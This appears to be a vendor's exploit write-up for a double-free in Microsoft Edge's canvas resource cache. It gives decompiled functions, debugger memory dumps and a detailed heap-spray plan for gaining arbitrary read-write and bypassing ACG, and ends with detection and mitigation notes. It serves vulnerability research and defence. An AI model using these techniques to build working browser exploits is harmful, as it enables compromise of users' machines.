On line 32 the call to the TDispResourceCache<CDispNoLock,1,0>::Add() method happens:

HashTableEntry *__fastcall TDispResourceCache<CDispNoLock,1,0>::Add(
	__int64 resourceCache,
	unsigned __int64 key,
	__int64 arg_DXImageRenderTarget
    __int64 entries; // rbp
    __int64 DXImageRenderTarget; // rdi
    unsigned __int64 entryKey; // rsi
    HashTableEntry *result; // rax
    VulnObject *hashTableEntryValue; // rbx
    void *ptr; // rax
    VulnObject *newHashTableEntryValue; // rax
    char v10; // [rsp+30h] [rbp+8h]

    entries = resourceCache + 0x10;
    DXImageRenderTarget = arg_DXImageRenderTarget;
    entryKey = key;
    result = CHtPvPvBaseT<&int nullCompare(void const *,void const *,void const *,bool),HashTableEntry>::FindEntry((resourceCache + 0x10), key);
    hashTableEntryValue = 0i64;
    if ( result )
        hashTableEntryValue = result->value;
    if ( !hashTableEntryValue )
        ptr = MemoryProtection::HeapAlloc<0>(0x10ui64);
        newHashTableEntryValue = Abandonment::CheckAllocationUntyped(ptr, 0x10ui64);
        hashTableEntryValue = newHashTableEntryValue;
        if ( newHashTableEntryValue )
            newHashTableEntryValue->ptrToDXImageRenderTarget = DXImageRenderTarget;
            if ( DXImageRenderTarget )
                (*(*DXImageRenderTarget + 8i64))(DXImageRenderTarget);
            LODWORD(hashTableEntryValue->refCounter) = 0;
            hashTableEntryValue = 0i64;
        result = CHtPvPvBaseT<&int nullCompare(void const *,void const *,void const *,bool),HashTableEntry>::Insert(entries, &v10, entryKey, hashTableEntryValue);
    return result;

On line 27 the vulnerable object is getting allocated. Important to note that the object is not allocated through the MemGC mechanism.

The hash table entries consist of a key-value pair. The key is a CCanvasPattern::Data object and the value is a DXImageRenderTarget. The initial size of the hash table allows it to hold up to 29 entries, however there is space for 37 entries. Extra entries are required to reduce the amount of possible hash collisions. A hash function is applied to each key to deduce position in the hash table. When the hash table is full, CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::Grow() method is called to increase the capacity of the hash table. During this call, key-value pairs are moved to the new indexes, keys are removed from the previous position, but values remain. If, after the growth, the key-value pair has to be removed (e.g.canvas pattern objects is freed), the value is freed and the key-value pair is removed only from the new position.

When the amount of entries is below a certain value, CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::Shrink() method is called to reduce the capacity of the hash table. When the CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::Shrink() method is called, key-value pairs are moved to the previous positions.

When the canvas pattern object is freed, the hash table entry which holds the appropriate CCanvasPattern::Data object is removed via the following method call:

__int64 __fastcall TDispResourceCache<CDispNoLock,1,0>::Remove(
	__int64 resourceCache,
	__int64 a2,
	_QWORD *a3
    __int64 entries; // r14
    unsigned int hr; // ebx
    _QWORD *savedPtr_out; // rsi
    __int64 entryKey; // rbp
    HashTableEntry *hashTableEntry; // rax
    VulnObject *freedObject; // rdi
    bool doFreeObject; // zf
    __int64 savedPtr; // rcx
    void *v12; // rdx

    entries = resourceCache + 0x10;
    hr = 0;
    *a3 = 0i64;
    savedPtr_out = a3;
    entryKey = a2;
    hashTableEntry = CHtPvPvBaseT<&int nullCompare(void const *,void const *,void const *,bool),HashTableEntry>::FindEntry((resourceCache + 0x10), a2);
    if ( hashTableEntry && (freedObject = hashTableEntry->value) != 0i64 )
        doFreeObject = LODWORD(freedObject->refCounter)-- == 0;
        savedPtr = freedObject->ptrToDXImageRenderTarget;
        if ( doFreeObject )
            freedObject->ptrToDXImageRenderTarget = 0i64;
            *savedPtr_out = savedPtr;
            CHtPvPvBaseT<&int nullCompare(void const *,void const *,void const *,bool),HashTableEntry>::Remove(entries, entryKey);
            TDispResourceCache<CDispSRWLock,1,1>::CacheEntry::`scalar deleting destructor`(freedObject, v12);
            *savedPtr_out = savedPtr;
            (*(*savedPtr + 8i64))(savedPtr);
        hr = 0x80004005;
    return hr;

This method retrieves the hash table entry value by calling the CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::FindEntry() method.

If the call to CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget() returns an error, the canvas pattern object has an uninitialized member which is supposed to hold a pointer to the CCanvasPattern::Data object. Nevertheless, the canvas pattern object destructor calls the CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::FindEntry() method and provides a key which is a nullptr. The method returns the very first value if there is any. If the hash table was grown and then shrunk, it will store pointers to the freed DXImageRenderTarget objects. Under such conditions, the TDispResourceCache<CDispNoLock,1,0>::Remove() method will operate on the already freed object (variable freedObject).

Several attempts are required to trigger vulnerability because there will not always be an entry at the first position.

It is possible to exploit this vulnerability in one of two ways:

  1. allocate some object in place of the freed object and free it thus causing a use-after-free on an almost arbitrary object
  2. allocate some object which has a suitable layout (first quad-word must be a pointer to an object with a virtual function table) to call a virtual function and cause side-effects like corrupting some useful data

The first method was chosen for exploitation because it’s difficult to find an object which fits the requirements for the second method.

Exploit Development

The exploit turned out to be non-trivial due to the following reasons:

  • Microsoft Edge allocates objects with different sizes and types on different heaps; this reduces the amount of available objects
  • the freed object is allocated on the default Windows heap which employs LFH; this makes it impossible to create adjacent allocations and reduces the chances of successful object overwrite
  • the freed object is 0x10 bytes; objects of this size are often used for internal servicing purposes; this makes the relevant heap region busy which also reduces exploitation reliability
  • there is a limited number of LFH objects of 0x10 bytes in size that are available from Javascript and are actually useful
  • objects that are available for control from Javascript allow only limited control
  • no object used during exploitation allows direct corruption of any field in a way that can lead to useful effects (e.g. controllable write)
  • multiple small heap allocations and frees were required to gain control over objects with interesting fields.

A high-level overview of the renderer exploitation process:

  1. the heap is prepared and the objects required for exploitation are sprayed
  2. all of the 0x10-byte DXImageRenderTarget objects are freed (one of them is the object which will be freed again)
  3. audio buffer objects are sprayed; this also creates 0x10-byte raw data buffer objects with arbitrary size and contents; some of the buffers take the freed spots
  4. the double-free is triggered and one of the 0x10-byte raw data buffer objects is freed (it is possible to read-write this object)
  5. objects of 0x10-bytes size are sprayed, they contain two pointers (0x8-bytes) to 0x20-byte sized raw data buffer objects
  6. the exploit iterates over the raw data buffer objects allocated on step 3 and searches for the overwrite
  7. objects allocated on step 5 are freed (with 0x20-byte sized objects) and 0x20-byte sized typed arrays are sprayed over them
  8. the exploit leaks pointers to two of the sprayed typed arrays
  9. 0x10-byte sized objects are sprayed, they contain two pointers to the 0x200-byte sized raw data buffer objects; audio source will keep writing to these buffers
  10. the exploit leaks pointers to two of the sprayed write-buffer objects
  11. the exploit starts playing audio, this starts writing to the controllable (vulnerable) object address of the typed array (the address is increased by 0x10 bytes to point to the length of the typed array) in the loop; the audio buffer source node keeps writing to the 0x200-byte data buffer, but is re-writing pointers to the buffer in the 0x10-byte object; the repeated write in the loop is required to win a race
  12. after a certain amount of iterations the exploit quits looping and checks if the typed array has increased length
  13. at this point exploit has achieved a relative read-write primitive
  14. the exploit uses the relative read to find the WebCore::AudioBufferData and WTF::NeuteredTypedArray objects (they are placed adjacent on the heap)
  15. the exploit uses data found during the previous step in order to construct a typed array which can be used for arbitrary read-write
  16. the exploit creates a fake DataView object for more convenient memory access
  17. with arbitrary read-write is achieved, the exploit launches a sandbox escape.

The following diagram can help understand the described steps:

Renderer exploitation steps

Getting relative read-write primitive

To trigger the vulnerability, thirty canvas pattern objects are created, this forces the hash table to grow. Then the canvas pattern objects are freed and the hash table is shrunk; this creates a dangling pointer to the DXImageRenderTarget in the hash table entry. It is yet not possible to access the pointer to the freed object.

After the DXImageRenderTarget object is freed by the TDispResourceCache<CDispNoLock,1,0>::Remove method, the spray is performed to allocate audio context data buffer objects – let us call it spray “A”. Data buffer objects are created by calling audio context createBuffer(). This function has the following prototype:

let buffer = baseAudioContext.createBuffer(numOfchannels, length, sampleRate);

The numOfchannels argument denotes a number of pointers to channel data to create, length is the length of the data buffer, sampleRate is not important for exploitation. Javascript createBuffer() triggers the call to CDOMAudioContext::Var_createBuffer(), which eventually calls WebCore::AudioChannelData::Initialize():

void __fastcall WebCore::AudioChannelData::Initialize(
	WebCore::AudioChannelData *this,
	struct WebCore::ExceptionState *a2,
	unsigned int a3
    WebCore::AudioChannelData *this_; // rsi
    unsigned int length; // ebx
    struct WebCore::ExceptionState *exceptionState; // rdi
    void *ptr; // rax
    __int64 IEOwnedTypedArray; // rax
    MemoryProtection *v8; // rbx

    this_ = this;
    length = a3;
    exceptionState = a2;
    ptr = MemoryProtection::HeapAlloc<0>(0x18ui64);
    IEOwnedTypedArray = Abandonment::CheckAllocationUntyped(ptr, 0x18ui64);
    if ( IEOwnedTypedArray )
        IEOwnedTypedArray = WTF::IEOwnedTypedArray<1,float>::IEOwnedTypedArray<1,float>(IEOwnedTypedArray, __PAIR64__(exceptionState, IEOwnedTypedArray), length);
    v8 = IEOwnedTypedArray;
    if ( !*exceptionState )
        v8 = 0i64;
        TSmartMemory<WebCore::AudioProcessor>::operator=(this_ + 2, IEOwnedTypedArray);
    if ( v8 )
        WTF::IEOwnedTypedArray<1,float>::`scalar deleting destructor`(v8, 1);

On line 17 a WTF::IEOwnedTypedArray object is allocated on the default Windows heap. This object is interesting for exploitation as it contains the following metadata:

0:016> dq 000001b0`374fbd80 L20/8
000001b0`374fbd80  00007ffe`47f8b4a0 000001b0`379e9030 ; vtable; pointer to the data buffer
000001b0`374fbd90  00000000`00000030 00080000`00000000 ; length; unused

0:016> dq 000001b0`379e9030 L10/8
000001b0`379e9030  0000003a`cafebeef 00000000`00000002 ; arbitrary data

0:016> ln 00007ffe`47f8b4a0
(00007ffe`47f8b4a0)   edgehtml!WTF::IEOwnedTypedArray<1,float>::`vftable`

On line 21 the data buffer is allocated (also on the default Windows heap). One of the buffers takes the spot of the freed DXImageRenderTarget object. This data buffer has the following layout:

0:016> dq 000001b0`377fa7e0 L10/8
000001b0`377fa7e0  00000000`00000000 00000000`00000001

The second quad-word is a reference counter. Values other than 1 trigger access to the virtual function table which does not exist and cause a crash. A reference counter value of 1 means that the object is going to be freed.

The data buffer which is allocated in place of the freed object is used throughout the exploit to read and write values placed inside this buffer.

Before freeing the object for the second time, audio context buffer sources are created by calling Javascript createBufferSource(). This function does not accept any arguments, but is expecting the buffer property to be set. Allocations are made before the vulnerable object is freed so to avoid unnecessary noise on the heap – let us call it spray “B”. The buffer property is set to one of the buffer objects which were created during startup (i.e. before triggering the vulnerability) by calling createBuffer() – let us call it spray “C”. During this property access, the following method is called:

void __fastcall WebCore::AudioBufferSourceNode::setBuffer(
	WebCore::AudioBufferSourceNode *this,
	struct IActiveScriptDirect *a2,
	struct WebCore::AudioBuffer *a3,
	struct WebCore::ExceptionState *a4
    struct WebCore::ExceptionState *exceptionState; // rbp
    struct WebCore::AudioBuffer *audioBuffer; // rsi
    struct IActiveScriptDirect *v6; // r12
    WebCore::AudioBufferSourceNode *this_; // rdi
    bool v8; // zf
    struct CBase **v9; // r14
    __int64 v10; // rcx
    void *channelCount; // r15
    WebCore::AudioNodeOutput *audioNode; // rax
    WebCore::AudioContext *v13; // [rsp+20h] [rbp-38h]
    bool v14; // [rsp+28h] [rbp-30h]
    int hr; // [rsp+70h] [rbp+18h]

    exceptionState = a4;
    audioBuffer = a3;
    v6 = a2;
    this_ = this;
    if ( a3 )
        v8 = *(this + 0x1E) == *(a3 + 6);
        v8 = *(this + 0x1D) == 0i64;
    if ( !v8 )
        v9 = (this + 0xE8);
        if ( *(this + 0x1D) )
            hr = 0x8070000B;
            WebCore::ExceptionState::throwDOMException(a4, &hr, 0xDC37u);
        v13 = *(this + 8);
        WebCore::AudioContext::lock(v13, &v14);
        EnterCriticalSection(this_ + 4);
        ++*(this_ + 0x19);
        // some code skipped for brevity...
        channelCount = *(*(audioBuffer + 6) + 0x20i64);
        if ( channelCount <= 0x20 )
            if ( !*(audioBuffer + 0x38) )
                if ( (*(this_ + 0x27) - 1) <= 1 )
                    WebCore::AudioBufferSourceNode::acquireBufferContents(this_, exceptionState, v6, audioBuffer);
                    if ( *exceptionState )
                        goto LABEL_23;
                    if ( *(this_ + 0x138) )
                        WebCore::AudioBufferSourceNode::clampGrainParameters(this_, audioBuffer);
                        *(this_ + 0x26) = 0i64;
                CJScript9Holder::InsertReferenceTo(this_, audioBuffer);
                audioNode = WebCore::AudioNode::output(this_, 0);
                WebCore::AudioNodeOutput::setNumberOfChannels(audioNode, channelCount);
                TSmartArray<System::String *>::New(this_ + 0x20, channelCount);
                if ( *v9 )
                    CJScript9Holder::RemoveReferenceTo(this_, *v9);
                TSmartPointer<CVideoElement,Tree::NodeReferenceTraits,CVideoElement *>::operator=(v9, audioBuffer);
                goto LABEL_23;
            hr = 0x8070000B;
            WebCore::ExceptionState::throwDOMException(exceptionState, &hr, 0xDC33u);
            WebCore::ExceptionState::throwTypeError(exceptionState, 0xDC06u, channelCount);
        --*(this_ + 0x19);
        LeaveCriticalSection(this_ + 4);

On line 71 yet another data buffer is allocated. The amount of bytes depends on the number of channels. Each channel creates one pointer which points to the data with arbitrary size and controllable contents. This is a useful primitive which is used later during the exploitation process.

To trigger the call to the WebCore::AudioBufferSourceNode::setBuffer() method, the audio must be already playing: either start() is called with the buffer property already set, or the buffer property is set and then start() is called.

Next, the double-free vulnerability is triggered and one of the audio channel data buffers is freed, although control from Javascript is retained.

The start() method of the audio buffer source object is called on each object of spray “B”. This creates multiple 0x10-byte sized objects with two pointers to the 0x20-byte sized data buffer object of spray “C”. During this spray one of the sprayed objects takes over the freed object from spray “A”.

Then the exploit iterates over spray “A” to find a data buffer with changed contents. Each object of spray “A” has getChannelData() – which returns the channel data as a Float32Array typed array. getChannelData() accepts only the channel number argument. Once the change has been found, a typed array is created. This typed array is read-writable and is further used multiple times in the exploit to leak and write pointers. Let us call it typed array “TA1”.

After the controllable channel data typed array is found, all of the spray “B”objects are freed. All data relevant to spray “B” is scoped just to one function. This is required to remove all internal references from Javascript to the data buffer from spray “C”. Otherwise it will not be possible to free the data buffer later.

After the return from the function, another spray is made – let us call it spray “D”. This spray prepares an audio buffer source data for the next steps and takes over the freed object. At this point the overwritten object does not contain data.

Then the exploit iterates over spray “D” and calls the start() function of each object. This writes to the freed object two pointers pointing to the 0x200-byte sized objects. These objects are used by the audio context to write audio data to be played. It is important to note that data is periodically written to this buffer, as well as pointers constantly written to the 0x10-byte objects. (This poses another problem which is resolved at the next step.) These pointers are also leaked via the “TA1” typed array.

Then the buffer object which was used for spray “B” is freed and a different spray is performed to take over the just-freed data buffer – let us call it spray “E”. Spray “E” allocates typed arrays (which are of size 0x20 bytes) and one of the typed arrays overwrites contents of the freed 0x20-byte data buffer. This allows a leak of pointers to two of the sprayed typed arrays via the typed array “TA1”. Only one pointer to the typed array is required for the exploit, let us call it typed array “TA2”. This typed array points to the data buffer of 0x30 bytes. The size of this buffer is important as it allows placement of other objects nearby which are useful for exploitation.

At this point it is known where the two typed arrays and the two audio write-buffers are located. The exploit enters a loop which constantly writes a pointer to the “TA2” typed array to the 0x10-byte object. The written pointer is increased by 0x10 bytes to point to the length field. The loop is required to win a race condition because the audio context thread keeps re-writing pointers in the 0x10-byte object. After a certain number of iterations the loop is ended and the exploit searches for the overwritten typed array.

The overwritten WTF::IEOwnedTypedArray typed array gives a relative read-write primitive.

Getting arbitrary read-write primitive

Before triggering the vulnerability the exploit has made another spray which has allocated the buffer sources and appropriate buffers for the sources – let us call it spray “F” . During this spray the WebCore::AudioBufferData objects of 0x30 bytes size with the following memory layout are created:

0:016> dq 000001b0`379e9570 L30/8
000001b0`379e9570  00007ffe`47f85988 00000000`45fa0000
000001b0`379e9580  00000000`0000000c 000001b0`379e9420
000001b0`379e9590  0000000a`0000000a 00000000`00000001
0:016> ln 00007ffe`47f85988
(00007ffe`47f85988)   edgehtml!RefCounted<WebCore::AudioBufferData,MultiThreadedRefCount>::`vftable`

These objects are placed nearby the data buffer which is controlled by the typed array “TA2”. WTF::NeuteredTypedArray objects of size 0x30 bytes are placed nearby too:

0:016> dq 000001b0`379e97b0 L30/8
000001b0`379e97b0  00007ffe`47f8b460 000001b0`21fa7fa0
000001b0`379e97c0  00000000`00000020 000001b0`20e6e550
000001b0`379e97d0  00000000`00000001 000001b0`381fc380
0:016> ln 00007ffe`47f8b460
(00007ffe`47f8b460)   edgehtml!WTF::NeuteredTypedArray<1,float>::`vftable`

After the relative read-write primitive is gained, offsets from the beginning of the typed array “TA2” buffer to these objects are found by searching for the specific pattern.

Knowing the offset to the WebCore::AudioBufferData object allows to leak a pointer to the audio channel data buffer. (The audio channel data is used to create a fake controllable DataView object and eventually achieve an arbitrary read-write primitive.) At offset 0x18 of the WebCore::AudioBufferData object, the pointer to the audio channel data buffer is stored. Before calling getChannelData() the memory layout of the channel data buffer looks like the following:

0:001> dq 00000140`e87e81c0 L30/8
00000140`e87e81c0  00007ffe`47f85988 00000000`45fa0000
00000140`e87e81d0  00000000`0000000c 00000142`01c6b230
00000140`e87e81e0  0000000a`0000000a 00000000`00000001
0:001> dq 00000142`01c6b230
00000142`01c6b230  00000000`00000000 00000000`00000000
00000142`01c6b240  00000140`e87ee160 00000000`00000000
00000142`01c6b250  00000000`00000000 00000140`e87ee240
00000142`01c6b260  00000000`00000000 00000000`00000000
00000142`01c6b270  00000140`e87ee2e0 00000000`00000000
00000142`01c6b280  00000000`00000000 00000140`e87ee4c0
00000142`01c6b290  00000000`00000000 00000000`00000000
00000142`01c6b2a0  00000140`e87ee500 00000000`00000000
0:001> dq 00000140`e87ee160
00000140`e87ee160  00007ffe`47f8b4a0 00000140`e87e8430
00000140`e87ee170  00000000`00000030 00080000`00000000
00000140`e87ee180  00007ffe`47de5838 00000140`e87ee180
00000140`e87ee190  80000000`00000000 00040000`00000000
00000140`e87ee1a0  00007ffe`47f8b4a0 00000140`e87e8490
00000140`e87ee1b0  00000000`00000030 00080000`00000000
00000140`e87ee1c0  00007ffe`47de5838 00000140`e87ee1c0
00000140`e87ee1d0  80000000`00000000 00080000`00000000
0:001> ln 00007ffe`47de5838
(00007ffe`47de5838)   edgehtml!WTF::TypedArray<1,float>::`vftable`

After calling getChannelData() member of the WebCore::AudioBufferData object, pointers in the channel data buffer are moved around and start pointing to the typed array objects allocated on the Chakra heap. This is important as it allows leaking the typed array pointers and creating a fake typed array. This is the memory layout of the channel data buffer after the call to getChannelData():

0:001> dq 00000140`01c6b230
00000140`01c6b230  00000140`e87e7eb0 00000000`00000000 ; pointer to the typed array
00000140`01c6b240  00000000`00000000 00000141`0142f900
00000140`01c6b250  00000000`00000000 00000000`00000000
00000140`01c6b260  00000141`0142f880 00000000`00000000
00000140`01c6b270  00000000`00000000 00000141`0142f800
00000140`01c6b280  00000000`00000000 00000000`00000000
00000140`01c6b290  00000141`0142f780 00000000`00000000
00000140`01c6b2a0  00000000`00000000 00000141`0142f700
0:001> dq 00000140`e87e7eb0 L40/8
00000140`e87e7eb0  00007ffe`4694c630 00000140`e87e7e60
00000140`e87e7ec0  00000000`00000000 00000000`00000000
00000140`e87e7ed0  00000000`00000020 00000141`01a9d280
00000140`e87e7ee0  00000000`00000004 00000141`01314ec0
0:001> ln 00007ffe`4694c630
(00007ffe`4694c630)   chakra!Js::TypedArray<float,0,0>::`vftable`

Knowing the offset to the WTF::NeuteredTypedArray object allows to achieve an arbitrary read primitive.

The buffer this object points to cannot be used for a write. Once the write happens, the buffer is moved to another heap. Increasing the length of the buffer is not possible due to security asserts enabled. An attempt to write to the buffer with the modified length leads to a crash of the renderer process.

The layout of the WTF::NeuteredTypedArray object looks like the following:

0:001> dq 00000140`e87e81f0 L30/8
00000140`e87e81f0  00007ffe`47f8b460 00000140`e70f87e0
00000140`e87e8200  00000000`00000020 00000140`d1c6e5a0
00000140`e87e8210  00000000`00000001 00000140`d1cff2a0
0:001> ln 00007ffe`47f8b460
(00007ffe`47f8b460)   edgehtml!WTF::NeuteredTypedArray<1,float>::`vftable`
0:001> dq 00000140`e70f87e0 L20/8
00000140`e70f87e0  00000000`cafe0011 00000000`00000032
00000140`e70f87f0  00000000`00000000 00000000`00000000

A pointer to the data buffer is stored at offset 8. It is possible to overwrite this pointer and point to any address to arbitrarily read memory.

With the arbitrary read primitive the contents of the typed array and the channel data buffer of the WebCore::AudioBufferData object are leaked. With the ability to write to the relative typed array, the following contents are placed in the controllable buffer:

0:001> dq 00000140`e87e7da0 L150/8
00000140`e87e7da0  00000140`e87e7eb0 00000000`00000000
00000140`e87e7db0  00000000`00000000 00000141`0142f900
00000140`e87e7dc0  00000000`00000000 00000000`00000000
00000140`e87e7dd0  00000141`0142f880 00000000`00000000
00000140`e87e7de0  00000000`00000000 00000141`0142f800
00000140`e87e7df0  00000000`00000000 00000000`00000000
00000140`e87e7e00  00000141`0142f780 00000000`00000000
00000140`e87e7e10  00000000`00000000 00000141`0142f700
00000140`e87e7e20  00000000`00000000 00000000`00000000
00000140`e87e7e30  00000141`0142f680 00000000`00000000
00000140`e87e7e40  00000000`00000000 00000141`0142f600
00000140`e87e7e50  00000000`00000000 00000000`00000000
00000140`e87e7e60  00000080`00000038 00000140`d2968000 ; type tag ; pointer to the Js::JavascriptLibrary
00000140`e87e7e70  00000000`00000000 00000141`0142f500
00000140`e87e7e80  00000000`00000000 00000000`00000000
00000140`e87e7e90  00000000`00000000 00000000`00000000
00000140`e87e7ea0  00000001`00002958 00000000`0f69d8c7
00000140`e87e7eb0  00007ffe`4694c630 00000140`e87e7e60 ; vtable; metadata pointer
00000140`e87e7ec0  00000000`00000000 00000000`00000000
00000140`e87e7ed0  00000000`00000020 00000141`01a9d280
00000140`e87e7ee0  00000000`00000004 00000141`01314ec0
0:001> dq 00000140`e87e7f80 L30/8
00000140`e87e7f80  00007ffe`47f85988 00000000`45fa0000
00000140`e87e7f90  00000000`0000000c 00000140`e87e7da0
00000140`e87e7fa0  0000000a`0000000a 00000000`00000001
0:001> ln 00007ffe`47f85988
(00007ffe`47f85988)   edgehtml!RefCounted<WebCore::AudioBufferData,MultiThreadedRefCount>::`vftable`
0:001> dq 00000141`0142f880
00000141`0142f880  00007ffe`4694c630 00000140`d29753c0
00000141`0142f890  00000000`00000000 00000000`00000000
00000141`0142f8a0  00000000`0000000c 00000141`01a9d320
00000141`0142f8b0  00000000`00000004 00000140`e87e8040
00000141`0142f8c0  00007ffe`4694c630 00000140`d29753c0
00000141`0142f8d0  00000000`00000000 00000000`00000000
00000141`0142f8e0  00000000`00000008 00000141`01438230
00000141`0142f8f0  00000000`00000004 00000138`cffb9320
0:001> ln 00007ffe`4694c630
(00007ffe`4694c630)   chakra!Js::TypedArray<float,0,0>::`vftable`

After this operation the WebCore::AudioBufferData object points to the fake channel data (located at 0x00000140e87e7da0). The channel data contains a pointer to the fake DataView object (located at 0x00000140e87e7eb0). Initially, the Float32Array object is leaked and placed, but it is not a very convenient type to use for exploitation. To convert it to a DataView object, the type tag has to be changed in the metadata. The type tag for the Float32Array object type is 0x31, for the DataView object it is 0x38.

The fake DataView object is accessed by calling getChannelData() of the WebCore::AudioBufferData object.

At this point an arbitrary read-write primitive is achieved.

Wrapping up the renderer exploit

Getting code execution in Microsoft Edge renderer is a bit more involved in contrast to other browsers since Microsoft Edge browser employs mitigations known as Arbitrary Code Guard (ACG) and Code Integrity Guard (CIG). Nevertheless, there is a way to bypass ACG. Having an arbitrary read-write primitive it is possible to find the stack address, setup a fake stack frame and divert code execution to the function of choice by overwriting the return address. This method was chosen to execute the sandbox escape payload.

The last problem that had to be addressed in order to have reliable process continuation is a LFH double-free mitigation. Once exploitation is over, some pointers are left and when they are picked up by the heap manager, the process will crash. Certain pointers can be easily found by leaking address of required objects. One last pointer had to be found by scanning the heap as there was no straightforward way to find it. Once the pointers are found they are overwritten with null.

Open problems

The exploit has the following issues:

  1. the vulnerability trigger depends on hardware;
  2. exploit reliability is about 75%;

The first issue is due to the described requirement of hardware error. The trigger works only on VMWare and on some devices with integrated video hardware. It is potentially possible to avoid hardware dependency by triggering some generic video graphics hardware error.

The second issue is mostly due to the requirement to have complicated heap manipulations and LFH mitigations. Probably it is possible to improve reliability by performing smarter heap arrangement.

Process continuation was solved as described in the previous section. No artifacts exist.


It is possible to detect exploitation of the described vulnerability by searching for the combination of the following Javascript code:

  1. repeated calls to createPattern()
  2. setting canvas attributes “width” and “height” to large values
  3. calling createPattern() again


It is possible to mitigate this issue by disabling Javascript.
The described vulnerability was patched by Microsoft in the May updates.


As a result, reliability of the renderer exploit achieved a ~75% success rate. Exploitation takes about 1-2 seconds on average. When multiple retries are required then exploitation can take a bit more time.

Microsoft has gone to great lengths to harden their Edge browser renderer process as browsers still remain a major threat attack vector and the renderer has the largest attack surface. Yet a single vulnerability was used to achieve memory disclosure and gain arbitrary read-write to compromise a content process. Part 2 will discuss an interesting logical sandbox escape vulnerability.

Exodus 0day subscribers have had access to this exploit for use on penetration tests and/or implementing protections for their stakeholders.